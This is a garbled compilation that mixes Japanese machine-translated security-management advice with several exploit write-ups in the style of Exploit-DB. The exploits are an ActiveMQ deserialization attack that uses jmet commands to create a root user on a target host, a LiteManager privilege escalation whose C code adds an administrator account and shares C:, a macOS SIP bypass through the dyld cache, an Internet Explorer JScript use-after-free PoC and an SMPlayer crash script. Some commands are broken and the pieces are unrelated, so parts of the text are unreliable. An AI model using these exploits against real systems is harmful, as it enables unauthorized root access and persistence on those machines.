Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'useradd -g root -s /bin /bash -u 10010 test' -yp rome 45.32.101.90 61616
ルートの権限があるように、PassWDのテストのUIDを0に変更して、http://192.168.221.1853:8161/admin/browse.jsp?jmsdestination=eventページ、メッセージをクリックしてトリガーに戻ります。
Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'sed -i' s/test:x3:10010/etc/etc/etc/passwd '-yp rome 45.32.101.90 616166
テストユーザーのパスワードを設定し、http://192.168.221.185:8161/admin/browse.jsp?jmsdestination=イベントページに戻り、メッセージをクリックしてトリガーします。
Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'echo' test:SD123456 '| Chpasswd '-yp Rome 45.32.101.90 61616
この時点まで、ルートとパスワード123456の権限を持つユーザーが作成されました。 SSHを使用して、オペレーティングシステムに直接リモートでログインできますが、それでも最高の権限があります。
0x03参照リンク
https://www.blackhat.com/docs/us-16/materials/us-16-kaiser-pwning-your-java-messaging-with-deserialization-vulnerabilities.pdf
会社の内部ネットワークセキュリティ構築の基本的なリンクとして、資産収集と対応する管理、特に脆弱性管理がネットワークセキュリティ構築の基盤です。
資産収集の最初のステップ - 接続されたデバイスのコレクション:
(1)収集手段:履歴登録記録に基づいたクエリまたはスキャン方法を使用して、ネットワーク環境内でアクティブなホスト検出を実行します。
(2)収集目的:クラウド、IoTデバイスなどを含むすべてのネットワークデバイスをカバーし、対応するライブラリテーブル構造ストレージ、定期的に再テスト、整然とした更新を確立します。
資産コレクションの2番目のステップ - 新しいネットワークアッチョン機器の収集:
(1)収集手段:インターネットを登録するか、インテリジェントなインターネットアクセス検出メカニズムを使用します。これは、ネットワーク検出テクノロジーまたはインターネットアクセス中国ユニコムID検証メカニズムを使用して収集するために使用できます。
(2)収集目標:クラウド、IoTデバイスなどを含むすべての新しいネットワーク入力デバイスをカバーし、対応するライブラリテーブル構造ストレージ、定期的に再テスト、秩序ある更新を確立します。
資産収集の3番目のステップ - 仮想資産の収集:
(1)仮想資産:重要なデータレコード、IPアドレス、MACアドレス、メインドメイン名、サブドメイン、CNAMEレコード、MXレコード、NSレコード、レコードなどを含むがこれらに限定されない。
(2)収集手段:登録およびレビューメカニズムとスキャンと分析のリクエスト。
(3)収集目標:すべての仮想資産をカバーし、対応するライブラリテーブル構造ストレージを確立し、定期的に再テストし、整然と更新します。
資産分析の最初のステップ - ホストOS、ソフトウェア、サービスなどの情報の収集:
(1)技術的手段:スキャン
(2)情報の収集:OSシステム情報(パスワード情報を含む)、ネットワークプロトコルスタック情報(MAC、IP、ポート、プロトコル、サービス)、ソフトウェア情報(ソフトウェア名、バージョン)
(3)目標を収集する:上記のすべての情報をカバーし、定期的に追跡および検出し、整然としたり、更新します。
資産分析の2番目のステップ - 脆弱性ライブラリの確立:
(1)収集方法:独自のSRCと脆弱性プラットフォームを条件で確立し、群衆のテストで脆弱性を収集します。あなた自身、または資格のある機関を侵入テストを実施し、脆弱性を掘り出し、それらを独自の脆弱性ライブラリに記録するよう招待します。同期については、CVE、CNNVD、およびNVDに注意してください。
(2)収集コンテンツ:脆弱性ハザードレベル、脆弱性の影響範囲、ソフトウェア、バージョン、脆弱性テスト方法、脆弱性修復方法。
(3)目標を収集する:関連するすべての脆弱性情報をカバーし、定期的に追跡および検出し、整然と更新してください。
資産分析の3番目のステップ - 脆弱性チェックと修正:
(1)脆弱性マッチング段階:資産情報と脆弱性ライブラリのマッチングを確認し、必要に応じてPACテストを使用します。
(2)脆弱性の修復段階:特定のレベル内で修理して確認します。修復されていない記録やその他の制限が確立されています。
# Exploit Title: LiteManager 4.5.0 - Insecure File Permissions
# Exploit Author: ZwX
# Exploit Date: 2019-11-21
# Vendor Homepage : LiteManager Team
# Software Link: http://html.tucows.com/preview/1594042/LiteManager-Free?q=remote+support
# Tested on OS: Windows 7
# Proof of Concept (PoC):
==========================
C:\Program Files\LiteManagerFree - Server>icacls *.exe
ROMFUSClient.exe Everyone:(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)
#Exploit code(s):
=================
1) Compile below 'C' code name it as "ROMFUSClient.exe"
#include<windows.h>
int main(void){
system("net user hacker abc123 /add");
system("net localgroup Administrators hacker /add");
system("net share SHARE_NAME=c:\ /grant:hacker,full");
WinExec("C:\\Program Files\\LiteManagerFree\\~ROMFUSClient.exe",0);
return 0;
}
2) Rename original "ROMFUSClient.exe" to "~ROMFUSClient.exe"
3) Place our malicious "ROMFUSClient.exe" in the LiteManagerFree directory
4) Disconnect and wait for a more privileged user to connect and use ROMFUSClient IDE.
Privilege Successful Escalation
Tested on macOS Mojave (10.14.6, 18G87) and Catalina Beta (10.15 Beta 19A536g).
On macOS, the dyld shared cache (in /private/var/db/dyld/) is generated locally
on the system and therefore doesn't have a real code signature;
instead, SIP seems to be the only mechanism that prevents modifications of the
dyld shared cache.
update_dyld_shared_cache, the tool responsible for generating the shared cache,
is able to write to /private/var/db/dyld/ because it has the
com.apple.rootless.storage.dyld entitlement. Therefore, update_dyld_shared_cache
is responsible for ensuring that it only writes data from trustworthy libraries
when updating the shared cache.
update_dyld_shared_cache accepts two interesting command-line arguments that
make it difficult to enforce these security properties:
- "-root": Causes libraries to be read from, and the cache to be written to, a
caller-specified filesystem location.
- "-overlay": Causes libraries to be read from a caller-specified filesystem
location before falling back to normal system directories.
There are some checks related to this, but they don't look very effective.
main() tries to see whether the target directory is protected by SIP:
bool requireDylibsBeRootlessProtected = isProtectedBySIP(cacheDir);
If that variable is true, update_dyld_shared_cache attempts to ensure that all
source libraries are also protected by SIP.
isProtectedBySIP() is implemented as follows:
bool isProtectedBySIP(const std::string& path)
{
if ( !sipIsEnabled() )
return false;
return (rootless_check_trusted(path.c_str()) == 0);
}
Ignoring that this looks like a typical symlink race issue, there's another
problem:
Looking in a debugger (with SIP configured so that only debugging restrictions
and dtrace restrictions are disabled), it seems like rootless_check_trusted()
doesn't work as expected:
bash-3.2# lldb /usr/bin/update_dyld_shared_cache
[...]
(lldb) breakpoint set --name isProtectedBySIP(std::__1::basic_string<char,\ std::__1::char_traits<char>,\ std::__1::allocator<char>\ >\ const&)
Breakpoint 1: where = update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&), address = 0x00000001000433a4
[...]
(lldb) run -force
Process 457 launched: '/usr/bin/update_dyld_shared_cache' (x86_64)
Process 457 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00000001000433a4 update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&)
update_dyld_shared_cache`isProtectedBySIP:
-> 0x1000433a4 <+0>: pushq %rbp
0x1000433a5 <+1>: movq %rsp, %rbp
0x1000433a8 <+4>: pushq %rbx
0x1000433a9 <+5>: pushq %rax
Target 0: (update_dyld_shared_cache) stopped.
(lldb) breakpoint set --name rootless_check_trusted
Breakpoint 2: where = libsystem_sandbox.dylib`rootless_check_trusted, address = 0x00007fff5f32b8ea
(lldb) continue
Process 457 resuming
Process 457 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
frame #0: 0x00007fff5f32b8ea libsystem_sandbox.dylib`rootless_check_trusted
libsystem_sandbox.dylib`rootless_check_trusted:
-> 0x7fff5f32b8ea <+0>: pushq %rbp
0x7fff5f32b8eb <+1>: movq %rsp, %rbp
0x7fff5f32b8ee <+4>: movl $0xffffffff, %esi ; imm = 0xFFFFFFFF
0x7fff5f32b8f3 <+9>: xorl %edx, %edx
Target 0: (update_dyld_shared_cache) stopped.
(lldb) print (char*)$rdi
(char *) $0 = 0x00007ffeefbff171 "/private/var/db/dyld/"
(lldb) finish
Process 457 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = step out
frame #0: 0x00000001000433da update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&) + 54
update_dyld_shared_cache`isProtectedBySIP:
-> 0x1000433da <+54>: testl %eax, %eax
0x1000433dc <+56>: sete %al
0x1000433df <+59>: addq $0x8, %rsp
0x1000433e3 <+63>: popq %rbx
Target 0: (update_dyld_shared_cache) stopped.
(lldb) print $rax
(unsigned long) $1 = 1
Looking around with a little helper (under the assumption that it doesn't behave
differently because it doesn't have the entitlement), it looks like only a small
part of the SIP-protected directories show up as protected when you check with
rootless_check_trusted():
bash-3.2# cat rootless_test.c
#include <stdio.h>
int rootless_check_trusted(char *);
int main(int argc, char **argv) {
int res = rootless_check_trusted(argv[1]);
printf("rootless status for '%s': %d (%s)\n", argv[1], res, (res == 0) ? "PROTECTED" : "MALLEABLE");
}
bash-3.2# ./rootless_test /
rootless status for '/': 1 (MALLEABLE)
bash-3.2# ./rootless_test /System
rootless status for '/System': 0 (PROTECTED)
bash-3.2# ./rootless_test /System/
rootless status for '/System/': 0 (PROTECTED)
bash-3.2# ./rootless_test /System/Library
rootless status for '/System/Library': 0 (PROTECTED)
bash-3.2# ./rootless_test /System/Library/Assets
rootless status for '/System/Library/Assets': 1 (MALLEABLE)
bash-3.2# ./rootless_test /System/Library/Caches
rootless status for '/System/Library/Caches': 1 (MALLEABLE)
bash-3.2# ./rootless_test /System/Library/Caches/com.apple.kext.caches
rootless status for '/System/Library/Caches/com.apple.kext.caches': 1 (MALLEABLE)
bash-3.2# ./rootless_test /usr
rootless status for '/usr': 0 (PROTECTED)
bash-3.2# ./rootless_test /usr/local
rootless status for '/usr/local': 1 (MALLEABLE)
bash-3.2# ./rootless_test /private
rootless status for '/private': 1 (MALLEABLE)
bash-3.2# ./rootless_test /private/var/db
rootless status for '/private/var/db': 1 (MALLEABLE)
bash-3.2# ./rootless_test /private/var/db/dyld/
rootless status for '/private/var/db/dyld/': 1 (MALLEABLE)
bash-3.2# ./rootless_test /sbin
rootless status for '/sbin': 0 (PROTECTED)
bash-3.2# ./rootless_test /Applications/Mail.app/
rootless status for '/Applications/Mail.app/': 0 (PROTECTED)
bash-3.2#
Perhaps rootless_check_trusted() limits its trust to paths that are writable
exclusively using installer entitlements like com.apple.rootless.install, or
something like that? That's the impression I get when testing different entries
from /System/Library/Sandbox/rootless.conf - the entries with no whitelisted
specific entitlement show up as protected, the ones with a whitelisted specific
entitlement show up as malleable.
rootless_check_trusted() checks for the "file-write-data" permission through the
MAC syscall, but I haven't looked in detail at how the policy actually looks.
(By the way, looking at update_dyld_shared_cache, I'm not sure whether it would
actually work if the requireDylibsBeRootlessProtected flag is true - it looks
like addIfMachO() would never add any libraries to dylibsForCache because
`sipProtected` is fixed to `false` and the call to isProtectedBySIP() is
commented out?)
In theory, this means it's possible to inject a modified version of a library
into the dyld cache using either the -root or the -overlay flag of
update_dyld_shared_cache, reboot, and then run an entitled binary that will use
the modified library. However, there are (non-security) checks that make this
annoying:
- When loading libraries, loadPhase5load() checks whether the st_ino and
st_mtime of the on-disk library match the ones embedded in the dyld cache at
build time.
- Recently, dyld started ensuring that the libraries are all on the "boot
volume" (the path specified with "-root", or "/" if no root was specified).
The inode number check means that it isn't possible to just create a malicious
copy of a system library, run `update_dyld_shared_cache -overlay`, and reboot to
use the malicious copy; the modified library will have a different inode number.
I don't know whether HFS+ reuses inode numbers over time, but on APFS, not even
that is possible; inode numbers are monotonically incrementing 64-bit integers.
Since root (and even normal users) can mount filesystem images, I decided to
create a new filesystem with appropriate inode numbers.
I think HFS probably can't represent the full range of inode numbers that APFS
can have (and that seem to show up on volumes that have been converted from
HFS+ - that seems to result in inode numbers like 0x0fffffff00001666), so I
decided to go with an APFS image. Writing code to craft an entire APFS
filesystem would probably take quite some time, and the public open-source APFS
implementations seem to be read-only, so I'm first assembling a filesystem image
normally (create filesystem with newfs_apfs, mount it, copy files in, unmount),
then renumbering the inodes. By storing files in the right order, I don't even
need to worry about allocating and deallocating space in tree nodes and
such - all replacements can be performed in-place.
My PoC patches the cached version of csr_check() from libsystem_kernel.dylib so
that it always returns zero, which causes the userspace kext loading code to
ignore code signing errors.
To reproduce:
- Ensure that SIP is on.
- Ensure that you have at least something like 8GiB of free disk space.
- Unpack the attached dyld_sip.tar (as normal user).
- Run ./collect.sh (as normal user). This should take a couple minutes, with
more or less continuous status updates. At the end, it should say "READY"
after mounting an image to /private/tmp/L.
(If something goes wrong here and you want to re-run the script, make sure to
detach the volume if the script left it attached - check "hdiutil info".)
- As root, run "update_dyld_shared_cache -force -root /tmp/L".
- Reboot the machine.
- Build an (unsigned) kext from source. I have attached source code for a
sample kext as testkext.tar - you can unpack it and use xcodebuild -, but
that's just a simple "hello world" kext, you could also use anything else.
- As root, copy the kext to /tmp/.
- As root, run "kextutil /tmp/[...].kext". You should see something like this:
bash-3.2# cp -R testkext/build/Release/testkext.kext /tmp/ && kextutil /tmp/testkext.kext
Kext with invalid signatured (-67050) allowed: <OSKext 0x7fd10f40c6a0 [0x7fffa68438e0]> { URL = "file:///private/tmp/testkext.kext/", ID = "net.thejh.test.testkext" }
Code Signing Failure: code signature is invalid
Disabling KextAudit: SIP is off
Invalid signature -67050 for kext <OSKext 0x7fd10f40c6a0 [0x7fffa68438e0]> { URL = "file:///private/tmp/testkext.kext/", ID = "net.thejh.test.testkext" }
bash-3.2# dmesg|tail -n1
test kext loaded
bash-3.2# kextstat | grep test
120 0 0xffffff7f82a50000 0x2000 0x2000 net.thejh.test.testkext (1) A24473CD-6525-304A-B4AD-B293016E5FF0 <5>
bash-3.2#
Miscellaneous notes:
- It looks like there's an OOB kernel write in the dyld shared cache pager; but
AFAICS that isn't reachable unless you've already defeated SIP, so I don't
think it's a vulnerability:
vm_shared_region_slide_page_v3() is used when a page from the dyld cache is
being paged in. It essentially traverses a singly-linked list of relocations
inside the page; the offset of the first relocation (iow the offset of the
list head) is stored permanently in kernel memory when the shared cache is
initialized.
As far as I can tell, this function is missing bounds checks; if either the
starting offset or the offset stored in the page being paged in points
outside the page, a relocation entry will be read from OOB memory, and a
relocated address will conditionally be written back to the same address.
- There is a check `rootPath != "/"` in update_dyld_shared_cache; but further
up is this:
// canonicalize rootPath
if ( !rootPath.empty() ) {
char resolvedPath[PATH_MAX];
if ( realpath(rootPath.c_str(), resolvedPath) != NULL ) {
rootPath = resolvedPath;
}
// <rdar://problem/33223984> when building closures for boot volume, pathPrefixes should be empty
if ( rootPath == "/" ) {
rootPath = "";
}
}
So as far as I can tell, that condition is always true, which means that when
an overlay path is specified with `-overlay`, the cache is written to the
root even though the code looks as if the cache is intended to be written to
the overlay.
- Some small notes regarding the APFS documentation at
<https://developer.apple.com/support/downloads/Apple-File-System-Reference.pdf>:
- The typedef for apfs_superblock_t is missing.
- The documentation claims that APFS_TYPE_DIR_REC keys are j_drec_key_t, but
actually they can be j_drec_hashed_key_t.
- The documentation claims that o_cksum is "The Fletcher 64 checksum of the
object", but actually APFS requires that the fletcher64 checksum of all data
behind the checksum concatenated with the checksum is zero.
(In other words, you cut out the checksum field at the start, append it at
the end, then run fletcher64 over the buffer, and then you have to get an
all-zeroes checksum.)
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47708.zip
There is a use-after-free issue in JSCript (triggerable via Internet Explorer) where the members of the 'arguments' object aren't tracked by the garbage collector during the 'toJSON' callback. Thus, during the 'toJSON' callback, it is possible to assign a variable to the 'arguments' object, have it garbage-collected (as long as it is not referenced anywhere else) and still access it later. Note that, like in some previously reported JSCript issues, this is a use-after-free on a JSCript variable (VAR structure), so in order to trigger a crash, the entire block of variables must be freed.
PoC for Internet Explorer is below. I tested it on multiple Windows version with the latest security patches applied.
===========================================================
<!-- saved from url=(0014)about:internet -->
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">
var spray = new Array();
function F() {
alert('callback');
// 2. Create a bunch of objects
for (var i = 0; i < 20000; i++) spray[i] = new Object();
// 3. Store a reference to one of them in the arguments array
// The arguments array isn't tracked by garbage collector
arguments[0] = spray[5000];
// 4. Delete the objects and call the garbage collector
// All JSCript variables get reclaimed...
for (var i = 0; i < 20000; i++) spray[i] = 1;
CollectGarbage();
// 5. But we still have reference to one of them in the
// arguments array
alert(arguments[0]);
}
// 1. Cause toJSON callback to fire
var o = {toJSON:F}
JSON.stringify(o);
alert('done');
</script>
===========================================================
Debug log:
===========================================================
(1cf4.154): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000080 ebx=05ecc218 ecx=00000080 edx=00000001 esi=05f0c3c8 edi=05fb12e8
eip=6e25f52a esp=05ecc180 ebp=05ecc1b4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
jscript!PrepareInvoke+0x12a:
6e25f52a 0fb707 movzx eax,word ptr [edi] ds:002b:05fb12e8=????
0:009> k
# ChildEBP RetAddr
00 05ecc1b4 6e262b75 jscript!PrepareInvoke+0x12a
01 05ecc2a8 6e2660ee jscript!VAR::InvokeByDispID+0x1c5
02 05ecc4a0 6e26244a jscript!CScriptRuntime::Run+0x2e4e
03 05ecc594 6e2622a1 jscript!ScrFncObj::CallWithFrameOnStack+0xaa
04 05ecc5ec 6e25bec9 jscript!ScrFncObj::Call+0x81
05 05ecc68c 6e262aed jscript!NameTbl::InvokeInternal+0x399
06 05ecc78c 6e2a862c jscript!VAR::InvokeByDispID+0x13d
07 05ecc800 6e2a8c2e jscript!GCProtectKeyAndCall+0xed
08 05ecc898 6e2a93ce jscript!JSONApplyFilters+0x125
09 05ecc90c 6e2ad9a2 jscript!JSONStringifyObject+0xac
0a 05ecc9b4 6e269e3a jscript!JsJSONStringify+0x382
0b 05ecca1c 6e25bec9 jscript!NatFncObj::Call+0xea
0c 05eccabc 6e25e476 jscript!NameTbl::InvokeInternal+0x399
0d 05eccc78 6e262aa5 jscript!VAR::InvokeByName+0x8f6
0e 05eccd70 6e2660ee jscript!VAR::InvokeByDispID+0xf5
0f 05eccf68 6e26244a jscript!CScriptRuntime::Run+0x2e4e
10 05ecd05c 6e2622a1 jscript!ScrFncObj::CallWithFrameOnStack+0xaa
11 05ecd0b4 6e257124 jscript!ScrFncObj::Call+0x81
12 05ecd170 6e257f75 jscript!CSession::Execute+0x314
13 05ecd1d0 6e256c83 jscript!COleScript::ExecutePendingScripts+0x2d5
14 05ecd274 6e2569b9 jscript!COleScript::ParseScriptTextCore+0x2c3
15 05ecd2a0 70209251 jscript!COleScript::ParseScriptText+0x29
16 05ecd2d8 70122a27 MSHTML!CActiveScriptHolder::ParseScriptText+0x51
17 05ecd348 70121fe2 MSHTML!CScriptCollection::ParseScriptText+0x182
18 05ecd434 701226ee MSHTML!CScriptData::CommitCode+0x312
19 05ecd4b0 7012153a MSHTML!CScriptData::Execute+0x1ba
1a 05ecd4d0 701e99b6 MSHTML!CHtmScriptParseCtx::Execute+0xaa
1b 05ecd524 70159c7d MSHTML!CHtmParseBase::Execute+0x186
1c 05ecd544 70159599 MSHTML!CHtmPost::Broadcast+0xfd
1d 05ecd66c 7017647d MSHTML!CHtmPost::Exec+0x339
1e 05ecd68c 70176376 MSHTML!CHtmPost::Run+0x3d
1f 05ecd6ac 70176308 MSHTML!PostManExecute+0x60
20 05ecd6c0 70176279 MSHTML!PostManResume+0x6f
21 05ecd6f0 70208447 MSHTML!CHtmPost::OnDwnChanCallback+0x39
22 05ecd708 7015be1d MSHTML!CDwnChan::OnMethodCall+0x27
23 05ecd780 702f1207 MSHTML!GlobalWndOnMethodCall+0x1bd
24 05ecd7d0 7015c5a2 MSHTML!GlobalWndProc_SEH+0x317
25 05ecd7ec 7562624b MSHTML!GlobalWndProc+0x52
26 05ecd818 756174dc USER32!_InternalCallWinProc+0x2b
27 05ecd8fc 7561661b USER32!UserCallWinProcCheckWow+0x3ac
28 05ecd970 756163f0 USER32!DispatchMessageWorker+0x21b
29 05ecd97c 717e6456 USER32!DispatchMessageW+0x10
2a 05ecfb0c 717e73e3 IEFRAME!CTabWindow::_TabWindowThreadProc+0xa36
2b 05ecfbcc 7223df6c IEFRAME!LCIETab_ThreadProc+0x403
2c 05ecfbe4 7130289d msIso!_IsoThreadProc_WrapperToReleaseScope+0x1c
2d 05ecfc1c 75520419 IEShims!NS_CreateThread::AutomationIE_ThreadProc+0x8d
2e 05ecfc2c 7789662d KERNEL32!BaseThreadInitThunk+0x19
2f 05ecfc88 778965fd ntdll!__RtlUserThreadStart+0x2f
30 05ecfc98 00000000 ntdll!_RtlUserThreadStart+0x1b
===========================================================
1。ステップ1季節性ネットワーク計画と境界保護:
これは実際には決まり文句です。 Googleは長年にわたってネットワークの境界を排除すると主張してきましたが、2015年に同様の概念を聞いたことがありますが、現在、国内党A、特に重い資産である党Aはネットワークの境界を排除できず、短期間でネットワークの境界を排除する可能性はありません。したがって、ネットワーク環境を合理的に計画し、国境のセキュリティを十分に保護することは、依然として最も基本的なことです。
(1)ネットワークトポロジを合理的に計画することは、内部、外側、DMZなどの従来の部門に限定されませんが、実際のネットワーク接続のニーズに応じて独自のレイアウトを計画します。
(2)領域を合理的に分割し、FW、WAF、IPS、IDS、SOC、UTM、STIM、エージェント(APT攻撃検出に使用されるトラフィック分析プローブ)およびその他のデバイスの展開を合理的に計画し、対話と相互接続を行います。
(3)ACL構成:相互アクセス権はビジネスニーズを満たし、最小許可の原則に従う必要があります。すべてのACL構成と関連する変更には、監査を促進するために履歴が必要です。
(4)オフサイトブランチは、VPNを介して内部エンタープライズネットワークにアクセスします。また、信頼できるトラフィック暗号化アルゴリズムと、2要素認証、動的認証、その他のメジャーなどの十分に強力なID認証管理メカニズムを確保する必要があります。
(5)クラウドホストのネットワーク展開を使用して、仮想ネットワークをクラウドに分割する必要があり、ネットワークアクセスのニーズを満たすために最小限の許可割り当てを行う必要があります。
(6)ハニーポット、密なネット、およびサンドボックスの環境を展開して、攻撃者を誘導し、攻撃者を発見し、脅威インテリジェンス、セキュリティ意思決定基準を提供するために使用される供給傾向を発見し、組織の内部情報ネットワークをある程度保護および非難する。
2。STEP2-ASSET信頼できる管理可能な管理と脆弱性管理:
テクノロジーを始めた多くのインターネットパーティーAにとって、現在の資産管理は混乱しています。さらに、非IT業界のほとんどの企業。したがって、資産の信頼できる、制御可能で効率的な組織管理が非常に必要です。
(1)資産が含まれる資産登録管理システムを確立して改善します。
(ハードウェア:コンピューター、ネットワーク機器、産業制御機器、モノのインターネット機器[自動販売機、セルフサービスATM、プローブ、モニター、カメラ、スマートテレビ、スマートオフィスの調理器具、税制管理機器]、モバイルインターネットターミナル);
(ソフトウェア:自己開発ソフトウェア、オープンソースソフトウェア、無料のクローズドソースソフトウェア、有料サードパーティソフトウェアなど);
(IT仮想資産:ドメイン名、URL、電子メール、IP、データ - ここでは、ビジネスや技術データを含むすべてのデータを参照してください)
(2)定期的かつ定期的に資産の変更スキャンと検出を実行し、資産リストを改善します。 [スキャンシステムを発見し、資産をタイムリーに発見し、OS、ソフトウェア、デバイス、および資産のその他の情報を検出し、セキュリティインテリジェンスと脆弱性情報を一致させる必要があります)(詳細については、資産発見システムの調査を参照してください)
(3)最新の脆弱性情報、攻撃および防衛情報、および資産情報に基づいてその他のセキュリティ情報を一致させ、時間内にパッチを当てます。短期間パッチがない場合は、一時的なセキュリティ対策を講じるために、独自のセキュリティチームまたはサードパーティのセキュリティチームを見つけることができます。
(4)悪意のあるIP、ドメイン、URL、電子メール、ハッシュを含むがこれらに限定されないが、リアルタイムで最適です。悪意のある攻撃が発見され、悪意のあるサンプルが発見され、ホストに落ちました。
(5)パッチとアップグレードバージョンをタイムリーにインストールし、基本を強化します。
(6)ベースライン構成検出、すべての資産のセキュリティ構成のベースライン検査を実施し、実際の結果に従って変更し、セキュリティ構成を改善します。
3。Step3-Logによって収集されたビッグデータ分析、監査、および状況認識:
現在、ビッグデータと機械学習は非常に人気があり、状況認識は本格的ですが、その本質は、収集、整理、インテリジェントな分析、および機械学習アルゴリズムを使用してポートレートを作成し、アクセス行動の特性を計算し、通常の交通行動と異常な交通行動を区別することです。
(1)ELK Systemsなどの詳細なログ収集および収集システムを確立および改善するか、Splunkを使用します。
(2)多数の大規模なデータの二次研究開発を実施し、正確に分析し、規則に合わせ、迅速に警察を呼び出す。たとえば、ヤラはルールします。 ModSecurityルール、OWASPルールなど。
(3)機械学習アルゴリズムを使用して、黒、白、灰色のログを分類します。より正確なマッチングを達成し、将来の攻撃の傾向を予測します。
(4)完全なログリアルタイム配信、バックアップ、保存メカニズムを確立します。事故の場合のタイムリーな監査、トレーサビリティ、返信に便利です。
4。STEP4-脆弱性を回避するためにセキュリティ開発プロセスを確立します。
(1)サードパーティまたはオープンソースソフトウェアは、常にCVEなどがあるかなど、セキュリティテストを受けるか、リアルタイムでセキュリティダイナミクスに注意を払う必要があります。
(2)自己開発システムで使用されるミドルウェアには、CVEの脆弱性を露出したミドルウェアの使用を避けるためのセキュリティチェック、またはStruts2などの歴史の複数の0DAYまたは脆弱性を公開するミドルウェアを使用する必要があります。脆弱性ライブラリバージョンの比較については、CPEを参照してください。
(3)OWASPやMicrosoftのSDL標準などのセキュリティ開発プロセスに厳密に従い、危険な機能の使用を避けます。
(4)開発には安全トレーニングが必要です。
(5)すべての製品は、発売またはリリースされる前に、厳格で信頼できる安全性テストを受ける必要があります。
5。ステップ5ビジネスセキュリティ保証メカニズムの確立:
(1)内部の安全規制と規制を確立および改善する。
(2)緊急対応のためにさまざまな予備作業を行う。
(3)ビジネスへの影響を最小限に抑えるために、多くの重要なデータバックアップがあります。
# Title : SMPlayer 19.5.0 - Denial of Service (PoC)
# Tested on : Windows 7 (64 bit)
# Vulnerable Software: SMPlayer v 19.5.0
# Exploit Author: Malav Vyas
# Vendor Homepage: https://smplayer.info
# Version : 19.5.0
# Software Link : https://smplayer.info/en/downloads
# POC
# run this python file, which will generate attack.m3u file
# .m3u file is used as a playlist
# this python file will generate a .m3u file with 25000 "A" characters.
# Open this file in SMPlayer two times.
# second time, buffer would be successfully overflowed and it would result in a Denial Of Service attack.
# For more details, please refer to video
f="attack.m3u"
bof = "A"*25000
writeFile = open(f, "w")
writeFile.write(bof)
writeFile.close()